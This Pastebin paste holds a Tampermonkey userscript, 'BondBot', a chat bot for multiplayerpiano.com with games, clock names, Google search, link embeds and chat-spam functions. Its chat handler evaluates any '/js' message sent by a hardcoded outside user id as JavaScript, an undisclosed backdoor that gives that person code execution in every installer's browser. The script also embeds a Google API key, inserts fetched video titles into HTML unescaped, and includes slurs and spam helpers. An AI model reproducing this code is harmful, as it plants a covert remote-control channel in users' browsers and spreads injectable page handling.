Advertisement
Guest User

Untitled

a guest
Nov 3rd, 2017
725
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.76 KB | None | 0 0
  1. // ==UserScript==
  2. // @name BondBot
  3. // @namespace http://tampermonkey.net/
  4. // @version 0.1
  5. // @description try to take over the world!
  6. // @author CitronSustain / oh / Anon64
  7. // @match http://www.multiplayerpiano.com/*
  8. // @grant none
  9. // ==/UserScript==
  10. //Hello, PasteBin user! You are looking at BondBot! A user focused bot for multiplayerpiano.com. Below are some descriptions of functions you can run using /js!
  11. ///js showClock24Hr() Shows a 24 Hr clock on your name
  12. ///js retardSpam() Copies any messages and repeats them using the tumblr() function
  13. ///js copySpam() Copies any messages and repeats them normally
  14. ///js leetSpam() Self Explanatory
  15. ///js showClockLocale() Shows your local time on your name
  16. ///js tumblr('texthere') Tumblr makes your text LoOk LiKe ThIs
  17. ///js L337('Texthere') makes your text l00k l1k3 th15
  18. ///js sendChat('text here') sends what ever is in the parentheses in chat!
  19. //To start the bot, paste this script into your browser console or Tampermonkey and run startBot()
  20. //To undo any chatspam functions you have run, please restart the bot by refreshing your page and re pasting it into console.
  21. //If you abuse chatspam functions Bondbot (Shaun Murphy) or Anon64 can turn off the bot.
  22.  
  23. //credits and shit
  24. //Thanks to Infinity for the google command!
  25. //Thanks to Anon64 for helping with the unbox command!
  26. //Thanks to the people who put stuff on MPP userscripts page to make this bot easier to use!
  27.  
  28. prefix = '.';
  29.  
  30. thingy = 1; //pls dont remove, will probably be in use later
  31.  
  32. botname = 'BondBot [.about]';
  33.  
  34. //chat buffer from electrashave
  35. //-electrashave
  36. var chat_buffer = [];
  37. function sendChat(msg) {
  38. msg.match(/.{0,511}/g).forEach(function(x, i) {
  39. if (x === '') return;
  40. if (i !== 0) x = '...' + x;
  41. chat_buffer.push(x);
  42. });
  43. }
  44. var chatInt = setInterval(function() {
  45. var msg = chat_buffer.shift();
  46. if (msg) MPP.client.sendArray([{ m: 'a', message: msg }]);
  47. }, 1900);
  48.  
  49. function cockBot() {
  50. sendChat(
  51. 'CockBot has been enabled. To revert changes, please reload the bot.'
  52. );
  53. botname = 'CockBot [' + prefix + 'about]';
  54. prefix = '\u034f';
  55. }
  56. Array.prototype.random = function(q) {
  57. if (q === undefined) {
  58. return this.length > 0
  59. ? this[Math.floor(this.length * Math.random())]
  60. : undefined;
  61. } else {
  62. let amount = q >>> 0;
  63. let result = this.slice(0, amount);
  64. for (let i = amount; i < this.length; i++) {
  65. let j = Math.floor(Math.random() * i);
  66. if (j < amount) {
  67. result[j] = this[i];
  68. }
  69. }
  70. return result;
  71. }
  72. };
  73.  
  74. MPP.client.on('a', function(msg) {
  75. var b = msg.a;
  76. var msgArr = msg.a.split(' ');
  77. var input = msg.a.substring(msgArr[0].length).trim();
  78. if (
  79. (msgArr[0] == '/js' && msg.p._id == MPP.client.getOwnParticipant()._id) ||
  80. (msgArr[0] == '/js' && msg.p._id == 'd55bf273f64f37c5691f3bbb')
  81. ) {
  82. try {
  83. MPP.chat.send(
  84. '> ' + JSON.stringify(eval(msg.a.substr(msgArr[0].length).trim()))
  85. );
  86. } catch (error) {
  87. MPP.chat.send('> ' + error);
  88. }
  89. }
  90.  
  91. if (
  92. msg.a.toLowerCase().substring(0, (prefix + '8ball').length) ==
  93. prefix + '8ball'
  94. ) {
  95. var words = [
  96. 'It is certain',
  97. 'It is decidedly so',
  98. 'Without a doubt',
  99. 'Yes, definitely.',
  100. 'You may rely on it',
  101. 'As I see it yes',
  102. 'Most likely',
  103. 'Outlook good',
  104. 'Yes',
  105. 'Signs point to yes',
  106. 'Reply hazy, try again.',
  107. 'Ask again later',
  108. 'Better not tell you now',
  109. 'Cannot predict now',
  110. 'Concentrate and ask again',
  111. 'Dont count on it',
  112. 'My reply is no',
  113. 'My sources say no',
  114. 'Outlook not so good',
  115. 'Very doubtful',
  116. 'No',
  117. ];
  118. var random = Math.floor(Math.random() * words.length);
  119. MPP.chat.send('8ball: ' + words[random]);
  120. }
  121.  
  122. if (b == 'Bondbot, shutdown' && msg.p._id == 'd55bf273f64f37c5691f3bbb') {
  123. sendChat('Shutting down -- Reason: Requested by Admin');
  124. alert('SHUTDOWN! REFRESH PAGE!');
  125. alert('SHUTDOWN! REFRESH PAGE!');
  126. alert('SHUTDOWN! REFRESH PAGE!');
  127. alert('SHUTDOWN! REFRESH PAGE!');
  128. alert('SHUTDOWN! REFRESH PAGE!');
  129. alert('SHUTDOWN! REFRESH PAGE!');
  130. alert('SHUTDOWN! REFRESH PAGE!');
  131. alert('SHUTDOWN! REFRESH PAGE!');
  132. alert('SHUTDOWN! REFRESH PAGE!');
  133. alert('SHUTDOWN! REFRESH PAGE!');
  134. alert('SHUTDOWN! REFRESH PAGE!');
  135. alert('SHUTDOWN! REFRESH PAGE!');
  136. alert('SHUTDOWN! REFRESH PAGE!');
  137. }
  138. if (b == 'Bondbot, shutdown' && msg.p._id == 'a2db90c04712080af5d797a1') {
  139. sendChat('Shutting down -- Reason: requested by Admin');
  140. alert('SHUTDOWN! REFRESH PAGE!');
  141. alert('SHUTDOWN! REFRESH PAGE!');
  142. alert('SHUTDOWN! REFRESH PAGE!');
  143. alert('SHUTDOWN! REFRESH PAGE!');
  144. alert('SHUTDOWN! REFRESH PAGE!');
  145. alert('SHUTDOWN! REFRESH PAGE!');
  146. alert('SHUTDOWN! REFRESH PAGE!');
  147. alert('SHUTDOWN! REFRESH PAGE!');
  148. alert('SHUTDOWN! REFRESH PAGE!');
  149. alert('SHUTDOWN! REFRESH PAGE!');
  150. alert('SHUTDOWN! REFRESH PAGE!');
  151. alert('SHUTDOWN! REFRESH PAGE!');
  152. alert('SHUTDOWN! REFRESH PAGE!');
  153. }
  154.  
  155. if (b == prefix + 'time_24hr') {
  156. sendChat(
  157. new Date().getHours() +
  158. ':' +
  159. new Date().getMinutes() +
  160. ':' +
  161. new Date().getSeconds()
  162. );
  163. }
  164.  
  165. if (b == prefix + 'about') {
  166. sendChat(
  167. 'ClockBot is a bot written by oh including many fun console commands and chat commands. '
  168. );
  169. sendChat(
  170. 'Command list: ' +
  171. prefix +
  172. '8ball, ' +
  173. prefix +
  174. 'time_24hr, ' +
  175. prefix +
  176. 'rps, ' +
  177. prefix +
  178. 'google ' +
  179. prefix +
  180. 'unbox [currently broken :( ]'
  181. );
  182. sendChat('Unbox weapon skins from CS:GO! Inventories will work soon!');
  183. }
  184. //RPS START (there is a lot easier way to do this but I couldn't figure it out cause I'm retarded)
  185.  
  186. var rockwords = [
  187. 'You Lose! Computer chose paper.',
  188. 'You win! Computer chose scissors.',
  189. 'Tie! You both chose rock.',
  190. ];
  191. var rockrandom = Math.floor(Math.random() * rockwords.length);
  192.  
  193. var paperwords = [
  194. 'You Lose! Computer chose scisssors.',
  195. 'You win! Computer chose rock.',
  196. 'Tie! You both chose paper.',
  197. ];
  198. var paperrandom = Math.floor(Math.random() * paperwords.length);
  199.  
  200. var scissorswords = [
  201. 'You Lose! Computer chose rock.',
  202. 'You win! Computer chose paper.',
  203. 'Tie! You both chose scissors.',
  204. ];
  205. var scissorsrandom = Math.floor(Math.random() * scissorswords.length);
  206. if (b == prefix + 'rps' || b == prefix + 'rockpaperscissors') {
  207. sendChat('Welcome to RPS: do .rps <rock, paper, scissors> to play!');
  208. }
  209.  
  210. if (
  211. b == prefix + 'rps r' ||
  212. b == prefix + 'rockpaperscissors rock' ||
  213. b == prefix + 'rps rock' ||
  214. b == prefix + 'rockpaperscissors r'
  215. ) {
  216. sendChat('RPS: ' + rockwords[rockrandom]);
  217. }
  218.  
  219. if (
  220. b == prefix + 'rps s' ||
  221. b == prefix + 'rockpaperscissors s' ||
  222. b == prefix + 'rps scissors' ||
  223. b == prefix + 'rockpaperscissors scissors'
  224. ) {
  225. sendChat('RPS: ' + scissorswords[scissorsrandom]);
  226. }
  227.  
  228. if (
  229. b == prefix + 'rps p' ||
  230. b == prefix + 'rockpaperscissors paper' ||
  231. b == prefix + 'rps paper' ||
  232. b == prefix + 'rockpaperscissors p'
  233. ) {
  234. sendChat('RPS: ' + paperwords[paperrandom]); //FIXME: not really a fixme its more of a reminder just need to add toLowerCase
  235. }
  236.  
  237. //CS:GO Unbox Sim START
  238.  
  239. var wear = [
  240. 'Battle-Scarred (BS)',
  241. 'Field-Tested (FT)',
  242. 'Well-Worn (WW)',
  243. 'Minimal Wear (MW)',
  244. 'Factory New (FN)',
  245. ];
  246.  
  247. var csweaponscase1 = [
  248. 'MP7 | Skulls | Mil-spec ',
  249. 'SG 553 | Ultraviolet | Mil-spec ',
  250. 'AUG | Wings | Mil-spec ',
  251. 'M4A1-S | Dark Water | Restricted ',
  252. 'USP-S | Dark Water | Restricted ',
  253. 'Glock-18 | Dragon Tattoo | Restricted ',
  254. 'Desert Eagle | Hypnotic | Classified ',
  255. 'AK-47 | Case Hardened | Classified ',
  256. 'AWP | Lightning Strike | Covert ',
  257. '★ Karambit | Exceedingly Rare ',
  258. ];
  259.  
  260. var gamma = [
  261. 'Five-SeveN | Violent Daimyo | Mil-Spec',
  262. 'MAC-10 | Carnivore | Mil-Spec',
  263. 'Nova | Exo | Mil-Spec',
  264. 'P250 | Iron Clad | Mil-Spec',
  265. 'PP-Bizon | Harvester | Mil-Spec',
  266. 'SG 553 | Aerial | Mil-Spec',
  267. 'Tec-9 | Ice Cap | Mil-Spec',
  268. 'AUG | Aristocrat | Restricted',
  269. 'AWP | Phobos | Restricted',
  270. 'P90 | Chopper | Restricted',
  271. 'R8 Revolver | Reboot | Restricted',
  272. 'Sawed-Off | Limelight | Restricted',
  273. 'M4A4 | Desolate Space | Classified',
  274. 'P2000 | Imperial Dragon | Classified',
  275. 'SCAR-20 | Bloodsport | Classified',
  276. 'Glock-18 | Wasteland Rebel | Covert',
  277. 'M4A1-S | Mecha Industries | Covert',
  278. 'M9 Bayonet | Crimson Web',
  279. 'Karambit | Doppler',
  280. ];
  281. var case1random = Math.floor(Math.random() * csweaponscase1.length);
  282. var wearrandom = Math.floor(Math.random() * wear.length);
  283. var gammarandom = Math.floor(Math.random() * gamma.length);
  284.  
  285. /* if (b == prefix + 'unbox') {
  286. switch(input.toLowerCase()) {
  287. default:
  288. sendChat('Welcome to CS:GO Unbox Simulator on MPP! Current cases available: Weapons Case 1 (csweaponscase1), Gamma (gamma)');
  289. sendChat('To unbox: do .unbox <case name>');
  290. break;
  291. case "csweaponscase1":
  292. MPP.chat.send('CS:GO: You unboxed a ' + csweaponscase1[case1random] + wear[wearrandom]);
  293. break;
  294. case "weapons case 1":
  295. MPP.chat.send('CS:GO: You unboxed a ' + csweaponscase1[case1random] + wear[wearrandom]);
  296. break;
  297. case"gamma":
  298. MPP.chat.send('CS:GO: You unboxed a ' + gamma[gammarandom] + wear[wearrandom]);
  299. break;
  300. }
  301. }*/ //FIXME: somehow completely broken
  302.  
  303. if (b == 'Bondbot, shutdown' && msg.p._id == 'd55bf273f64f37c5691f3bbb') {
  304. sendChat('Shutting down -- Reason: Requested by Admin');
  305. alert('SHUTDOWN! REFRESH PAGE!');
  306. alert('SHUTDOWN! REFRESH PAGE!');
  307. alert('SHUTDOWN! REFRESH PAGE!');
  308. alert('SHUTDOWN! REFRESH PAGE!');
  309. alert('SHUTDOWN! REFRESH PAGE!');
  310. alert('SHUTDOWN! REFRESH PAGE!');
  311. alert('SHUTDOWN! REFRESH PAGE!');
  312. alert('SHUTDOWN! REFRESH PAGE!');
  313. alert('SHUTDOWN! REFRESH PAGE!');
  314. alert('SHUTDOWN! REFRESH PAGE!');
  315. alert('SHUTDOWN! REFRESH PAGE!');
  316. alert('SHUTDOWN! REFRESH PAGE!');
  317. alert('SHUTDOWN! REFRESH PAGE!');
  318. }
  319. if (b == 'Bondbot, shutdown' && msg.p._id == 'a2db90c04712080af5d797a1') {
  320. sendChat('Shutting down -- Reason: requested by Admin');
  321. alert('SHUTDOWN! REFRESH PAGE!');
  322. alert('SHUTDOWN! REFRESH PAGE!');
  323. alert('SHUTDOWN! REFRESH PAGE!');
  324. alert('SHUTDOWN! REFRESH PAGE!');
  325. alert('SHUTDOWN! REFRESH PAGE!');
  326. alert('SHUTDOWN! REFRESH PAGE!');
  327. alert('SHUTDOWN! REFRESH PAGE!');
  328. alert('SHUTDOWN! REFRESH PAGE!');
  329. alert('SHUTDOWN! REFRESH PAGE!');
  330. alert('SHUTDOWN! REFRESH PAGE!');
  331. alert('SHUTDOWN! REFRESH PAGE!');
  332. alert('SHUTDOWN! REFRESH PAGE!');
  333. alert('SHUTDOWN! REFRESH PAGE!');
  334. }
  335. });
  336.  
  337. function tumblr(stringystring) {
  338. if (typeof stringystring !== 'string') {
  339. throw 'SyntaxError: tumblr() may only be used with strings.';
  340. } else {
  341. var results = [];
  342. var csto = stringystring.toLowerCase();
  343. var csm = csto.split(' ');
  344. for (var i = 0; i < csm.length; i++) {
  345. var res2 = [];
  346. wordc = csm[i].split('');
  347. for (var x = 0; x < wordc.length; x++) {
  348. if (x % 2 === 0) {
  349. res2.push(wordc[x].toUpperCase());
  350. } else {
  351. res2.push(wordc[x]);
  352. }
  353. }
  354. results.push(res2.join(''));
  355. }
  356. fnl = results.join(' ');
  357. return fnl;
  358. }
  359. }
  360.  
  361. function startBot() {
  362. sendChat('Starting BondBot');
  363. sendChat('Loading done! use .about for cmds');
  364. }
  365.  
  366. function showClockLocale() {
  367. updateName = function(name) {
  368. MPP.client.sendArray([{ m: 'userset', set: { name: name } }]);
  369. };
  370. Date.prototype.time = function() {
  371. return this.toLocaleTimeString();
  372. };
  373. wut = setInterval(function() {
  374. updateName(botname + '- ' + new Date().time());
  375. }, 2100);
  376. }
  377.  
  378. function retardSpam() {
  379. MPP.client.on('a', msg => {
  380. if (msg.p._id !== MPP.client.getOwnParticipant()._id)
  381. MPP.chat.send(tumblr(msg.a));
  382. });
  383. }
  384.  
  385. function copySpam() {
  386. MPP.client.on('a', msg => {
  387. if (msg.p._id !== MPP.client.getOwnParticipant()._id) MPP.chat.send(msg.a);
  388. });
  389. }
  390.  
  391. function leetSpam() {
  392. MPP.client.on('a', msg => {
  393. if (msg.p._id !== MPP.client.getOwnParticipant()._id)
  394. MPP.chat.send(L337(msg.a));
  395. });
  396. }
  397.  
  398. function showClock24Hr() {
  399. updateName = function(name) {
  400. MPP.client.sendArray([{ m: 'userset', set: { name: name } }]);
  401. };
  402. setInterval(function() {
  403. var time = new Date();
  404. var hr = time.getHours();
  405. var min = time.getMinutes();
  406. var sec = time.getSeconds();
  407. if (hr < 10) {
  408. hr = ' ' + hr;
  409. }
  410. if (min < 10) {
  411. min = '0' + min;
  412. }
  413. if (sec < 10) {
  414. sec = '0' + sec;
  415. }
  416. updateName(botname + ' - ' + hr + ':' + min + ':' + sec);
  417. }, 2100);
  418. }
  419.  
  420. function L337(str) {
  421. return str.replace(/[a-z]/g, function f(a) {
  422. return (
  423. '4BCD3F6H1JKLMN0PQR57'[parseInt(a, 36) - 10] || a.replace(/[a-t]/gi, f)
  424. );
  425. });
  426. }
  427.  
  428. googleavailable = true; //google stuff
  429. googleCooldown = 6000; //google command usage cooldown in milliseconds
  430. googleCommand = true; //this determines whether or not the google command is enabled or disabled
  431. searchHistory = [];
  432.  
  433. var googleCommandDelay = 3;
  434.  
  435. var div = document.createElement('div');
  436. div.id = 'Div1';
  437. div.style.display = 'none';
  438. document.body.appendChild(div);
  439.  
  440. (function() {
  441. var cx = '010021570394457971158:qajzusztxwo';
  442. var gcse = document.createElement('script');
  443. gcse.type = 'text/javascript';
  444. gcse.async = true;
  445. gcse.src =
  446. (document.location.protocol == 'https:' ? 'https:' : 'http:') +
  447. '//www.google.com/cse/cse.js?cx=' +
  448. cx;
  449. var s = document.getElementsByTagName('script')[0];
  450. s.parentNode.insertBefore(gcse, s);
  451. })();
  452.  
  453. function gcseCallback(query) {
  454. if (document.readyState != 'complete')
  455. return google.setOnLoadCallback(gcseCallback, true);
  456. google.search.cse.element.render({
  457. gname: 'gsearch',
  458. div: 'Div1',
  459. tag: 'searchresults-only',
  460. attributes: { webSearchResultSize: 1 },
  461. });
  462. var element = google.search.cse.element.getElement('gsearch');
  463. element.execute(query);
  464. returnResults();
  465. setTimeout(function() {
  466. googleavailabe = true;
  467. }, googleCooldown);
  468. }
  469. function getTitle(index) {
  470. var title = document.getElementsByClassName('gsc-thumbnail-inside')[index]
  471. .textContent;
  472. return title;
  473. }
  474.  
  475. function getLink(index) {
  476. if (
  477. typeof document
  478. .getElementsByClassName('gsc-webResult gsc-result')[0]
  479. .getElementsByClassName('gs-spelling gs-result')[0] != 'undefined'
  480. )
  481. index++;
  482. if (
  483. typeof document
  484. .getElementsByClassName('gsc-webResult gsc-result')[0]
  485. .getElementsByClassName('gs-spelling')[0] != 'undefined'
  486. )
  487. index++;
  488. if (
  489. typeof document
  490. .getElementsByClassName('gsc-webResult gsc-result')[0]
  491. .getElementsByClassName('gs-spelling gs-spelling-original')[0] !=
  492. 'undefined'
  493. )
  494. index++;
  495. var title = document.getElementsByClassName('gsc-webResult gsc-result')[
  496. index
  497. ];
  498. var firstdiv = title.getElementsByClassName('gsc-thumbnail-inside')[0];
  499. var firstatag = firstdiv.getElementsByTagName('a')[0];
  500. var link = firstatag.getAttribute('data-ctorig');
  501. return link;
  502. }
  503.  
  504. function getText(index) {
  505. var txt = document.getElementsByClassName('gs-bidi-start-align gs-snippet')[
  506. index
  507. ].textContent;
  508. return txt;
  509. }
  510.  
  511. function checkLoaded(index) {
  512. if (
  513. typeof document.getElementsByClassName('gs-bidi-start-align gs-snippet')[
  514. index
  515. ] != 'undefined' &&
  516. typeof document.getElementsByClassName('gsc-thumbnail-inside')[index] !=
  517. 'undefined' &&
  518. typeof document.getElementsByClassName('gsc-webResult gsc-result')[index] !=
  519. 'undefined'
  520. ) {
  521. return true;
  522. } else {
  523. return false;
  524. }
  525. }
  526.  
  527. function checkNoResult() {
  528. if (
  529. typeof document.getElementsByClassName(
  530. 'gs-webResult gs-result gs-no-results-result'
  531. )[0] != 'undefined'
  532. ) {
  533. return true;
  534. } else {
  535. return false;
  536. }
  537. }
  538. function returnResults() {
  539. var intervalId = setInterval(function() {
  540. if (checkNoResult() == true) {
  541. div.innerHTML = '';
  542. MPP.chat.send(
  543. error +
  544. 'Your search - ' +
  545. lastsearch +
  546. ' - did not match any documents. | Make sure that all words are spelled correctly. | Try different keywords. | Try more general keywords. |'
  547. );
  548. clearInterval(intervalId);
  549. }
  550. if (
  551. checkLoaded(0) == true &&
  552. checkLoaded(1) == true &&
  553. checkLoaded(2) == true
  554. ) {
  555. MPP.chat.send(
  556. 'First result || ' +
  557. getTitle(0) +
  558. ': (' +
  559. getLink(0) +
  560. ') => ' +
  561. getText(0)
  562. );
  563. MPP.chat.send(
  564. 'Second result || ' +
  565. getTitle(1) +
  566. ': (' +
  567. getLink(1) +
  568. ') => ' +
  569. getText(1)
  570. );
  571. MPP.chat.send(
  572. 'Third result || ' +
  573. getTitle(2) +
  574. ': (' +
  575. getLink(2) +
  576. ') => ' +
  577. getText(2)
  578. );
  579. div.innerHTML = '';
  580. clearInterval(intervalId);
  581. }
  582. }, 25);
  583. }
  584.  
  585. MPP.client.on('a', function(msg) {
  586. var cmd = msg.a.split(' ')[0].toLowerCase();
  587. var input = msg.a.substring(cmd.length).trim();
  588. if (cmd == prefix + 'google') {
  589. if (googleCommand == true) {
  590. if (!googleavailable) {
  591. MPP.chat.send(
  592. 'This command has a ' +
  593. googleCooldown +
  594. ' millisecond cooldown to prevent spam. Please wait and then try again later. Thanks!'
  595. );
  596. } else {
  597. if (input == '') {
  598. MPP.chat.send(
  599. '\u034f' +
  600. msg.p.name +
  601. "\u034f didn't google anything, how useless."
  602. );
  603. } else {
  604. MPP.chat.send('Searching... Commands disabled during search.');
  605. lastsearch = input;
  606. Power = 'off';
  607. searchHistory.push(lastsearch);
  608. setTimeout(function() {
  609. gcseCallback(input);
  610. Power = 'on';
  611. }, 4000);
  612. }
  613. }
  614. }
  615. }
  616. });
  617.  
  618. //notification thing from coolguymanguy
  619. /* Better MPP V 0.5*/
  620.  
  621. checkNotification();
  622.  
  623. window.MPP.client.on('a', function(msg) {
  624. var message = msg.a;
  625. var name = window.MPP.client.getOwnParticipant().name;
  626.  
  627. /*if(message.substring(0, name.length + 1).toLowerCase() == name.toLowerCase()){
  628. var notification = new Notification(name + " is talking to you!");
  629. }
  630. */
  631. if (msg.p.name != name) {
  632. if (message.toLowerCase().indexOf(name.toLowerCase()) != -1) {
  633. var ding = new Audio(
  634. 'https://www.freesound.org/data/previews/66/66136_606715-lq.mp3'
  635. ); //notification sound
  636. ding.play();
  637.  
  638. var notification = new Notification(msg.p.name + ' said: ' + message); // Notification
  639.  
  640. var list = $('#chat li ');
  641. list[list.length - 1].remove(); //removing double chat entry
  642.  
  643. var li = $('<li><span class="name"/><span class="message"/>');
  644. li.find('.name').text(msg.p.name + ':');
  645. li.find('.message').text(msg.a);
  646. li.css('color', 'Black');
  647. li.css('background-color', 'rgba(255,0,0,0.4)'); //style of name
  648.  
  649. $('#chat ul').append(li); // idk but it works
  650. }
  651. }
  652. });
  653.  
  654. function checkNotification() {
  655. //checking if notifications is allowed
  656.  
  657. if (!('Notification' in window)) {
  658. alert('This browser does not support desktop notification');
  659. } else if (Notification.permission === 'granted') {
  660. } else if (Notification.permission !== 'denied') {
  661. Notification.requestPermission(function(permission) {
  662. if (!('permission' in Notification)) {
  663. Notification.permission = permission;
  664. }
  665. });
  666. }
  667. }
  668.  
  669. //embed link thing
  670. document.styleSheets[0].addRule('a', 'text-decoration: none;', 0);
  671. document.styleSheets[0].addRule('.blur-el', 'filter: blur(5px);', 0);
  672. document.styleSheets[0].addRule(
  673. '.yt',
  674. 'display:inline-block;position:relative;',
  675. 0
  676. );
  677. document.styleSheets[0].addRule(
  678. '.yt span',
  679. 'display: -webkit-box;position: absolute;bottom: 3px;left: 2px;-webkit-box-orient: vertical;-webkit-line-clamp: 2;font-family: Arial, Helvetica, sans-serif;background-color: rgba(0,0,0,.4);white-space: normal;overflow: hidden;',
  680. 0
  681. );
  682.  
  683. style = document.createElement('link');
  684. style.rel = 'stylesheet';
  685. style.href = 'https://cdnjs.cloudflare.com/ajax/libs/lity/1.6.6/lity.css';
  686. document.getElementsByTagName('head')[0].appendChild(style);
  687.  
  688. $.getScript('https://cdnjs.cloudflare.com/ajax/libs/lity/1.6.6/lity.js');
  689.  
  690. var blurLinks = [];
  691.  
  692. $(document).on('contextmenu', '[data-lity]', null, function(e) {
  693. if (e.ctrlKey) {
  694. e.preventDefault();
  695. if (e.target.className === 'blur-el') {
  696. $('img[src=' + CSS.escape(e.target.src) + ']').each(
  697. (n, e) => (e.className = '')
  698. );
  699. if (blurLinks.indexOf(e.target.src) != -1) {
  700. blurLinks.splice(blurLinks.indexOf(e.target.src), 1);
  701. }
  702. } else {
  703. $('img[src=' + CSS.escape(e.target.src) + ']').each(
  704. (n, e) => (e.className = 'blur-el')
  705. );
  706. if (blurLinks.indexOf(e.target.src) === -1) {
  707. blurLinks.push(e.target.src);
  708. }
  709. }
  710. }
  711. });
  712.  
  713. function parseYouTubeId(url) {
  714. var regex = /^.*(youtu.be\/|v\/|u\/\w\/|embed\/|watch\?v=|\&v=)([^#\&\?]*).*/;
  715. return url.match(regex) ? RegExp.$2 : null;
  716. }
  717.  
  718. function parseVimeoId(url) {
  719. var regex = /^.*(vimeo.com\/|video\/)(\d+).*/;
  720. return url.match(regex) ? RegExp.$2 : null;
  721. }
  722.  
  723. function isValidUrl(url) {
  724. return /^(?:(?:(?:https?|ftp):)?\/\/)(?:\S+(?::\S*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)(?:\.(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)*(?:\.(?:[a-z\u00a1-\uffff]{2,})).?)(?::\d{2,5})?(?:[/?#]\S*)?$/i.test(
  725. url
  726. );
  727. }
  728.  
  729. function parseLink(url, el_id) {
  730. var pAudio, pImage;
  731. pAudio = new Audio();
  732. pImage = new Image();
  733. pAudio.src = pImage.src = url;
  734. pAudio.isError = pImage.isError = false;
  735.  
  736. pAudio.onloadeddata = function(e) {
  737. pAudio.controls = true;
  738. $(el_id)
  739. .html('')
  740. .append(pAudio)
  741. .append(`<a href="${url}" target="_blank">🌍</a>`);
  742. };
  743. pAudio.onerror = function(e) {
  744. pAudio.isError = true;
  745. if (pImage.isError)
  746. $(el_id).html(`<a href="${url}" target="_blank">${url}</a>`);
  747. };
  748. pImage.onload = function(e) {
  749. var x1 = 150;
  750. var y1 = 150;
  751. document.body.appendChild(this);
  752. var w = this.offsetWidth;
  753. var h = this.offsetHeight;
  754. document.body.removeChild(this);
  755. if (w >= h && w > y1) {
  756. pImage.height = Math.round(h / (w / x1));
  757. pImage.width = x1;
  758. } else if (w <= h && h > x1) {
  759. pImage.width = Math.round(w / (h / y1));
  760. pImage.height = y1;
  761. }
  762. if (blurLinks.indexOf(url) != -1) pImage.className = 'blur-el';
  763. $(el_id).html(`<a href="${url}" data-lity></a>`).find('a').append(pImage);
  764. };
  765. pImage.onerror = function(e) {
  766. pImage.isError = true;
  767. var ytId = parseYouTubeId(url);
  768. var vmId = parseVimeoId(url);
  769. if (ytId != null) {
  770. pImage.isError = false;
  771.  
  772. $.getJSON(
  773. 'https://www.googleapis.com/youtube/v3/videos?id=' +
  774. ytId +
  775. '&key=AIzaSyDL_iFb5QIUQf8fiG2Gx9-JEEkvfeU5H-Q&fields=items(id,snippet(channelId,title,categoryId),statistics)&part=snippet,statistics'
  776. ).done(i => {
  777. var imgLink = 'http://img.youtube.com/vi/' + ytId + '/mqdefault.jpg';
  778. var blurClass = blurLinks.indexOf(imgLink) != -1 ? 'blur-el' : '';
  779. $(el_id).html(`
  780. <div class="yt">
  781. <a title="${i.items[0].snippet.title}" href="${url}" data-lity>
  782. <img style="height:120px" class="${blurClass}" src="${imgLink}">
  783. </a>
  784. <span id="${ytId}">
  785. ${i.items[0].snippet.title}
  786. </span>
  787. </div>
  788. `);
  789. });
  790. } else if (vmId != null) {
  791. pImage.isError = false;
  792.  
  793. $.getJSON('http://vimeo.com/api/v2/video/' + vmId + '.json').done(i => {
  794. var imgLink = i[0].thumbnail_large;
  795. var blurClass = blurLinks.indexOf(imgLink) != -1 ? 'blur-el' : '';
  796. console.log(i, imgLink);
  797. $(el_id).html(`
  798. <div class="yt">
  799. <a title="${i[0].title}" href="${url}" data-lity>
  800. <img style="height:120px" class="${blurClass}" src="${imgLink}">
  801. </a>
  802. <span id="${vmId}">
  803. ${i[0].title}
  804. </span>
  805. </div>`);
  806. });
  807. } else if (pAudio.isError)
  808. $(el_id).html(`<a href="${url}" target="_blank">${url}</a>`);
  809. };
  810. }
  811.  
  812. MPP.client.on('a', msg => {
  813. var el = $('#chat li:last');
  814. if (el.find('.message').text() != msg.a) return;
  815. var li = $('<li><span class="name"/><span class="message"/>');
  816. var content = msg.a
  817. .replace(/</g, '&lt;')
  818. .replace(
  819. /(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/gi,
  820. function(url) {
  821. if (!isValidUrl(url)) return url;
  822. var nice = url;
  823. var el_id = Math.random().toString(36).slice(2);
  824. if (url.match('^https?://')) nice = nice.replace(/^https?:\/\//i, '');
  825. else url = 'http://' + url;
  826. parseLink(url, '#' + el_id);
  827. return '<span id="' + el_id + '">' + url + '</span>';
  828. }
  829. );
  830. li.find('.name').text(msg.p.name);
  831. li.find('.message').html(content);
  832. li.css({ color: msg.p.color || 'white', opacity: 1 });
  833. el.remove();
  834. $('#chat ul').append(li);
  835. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement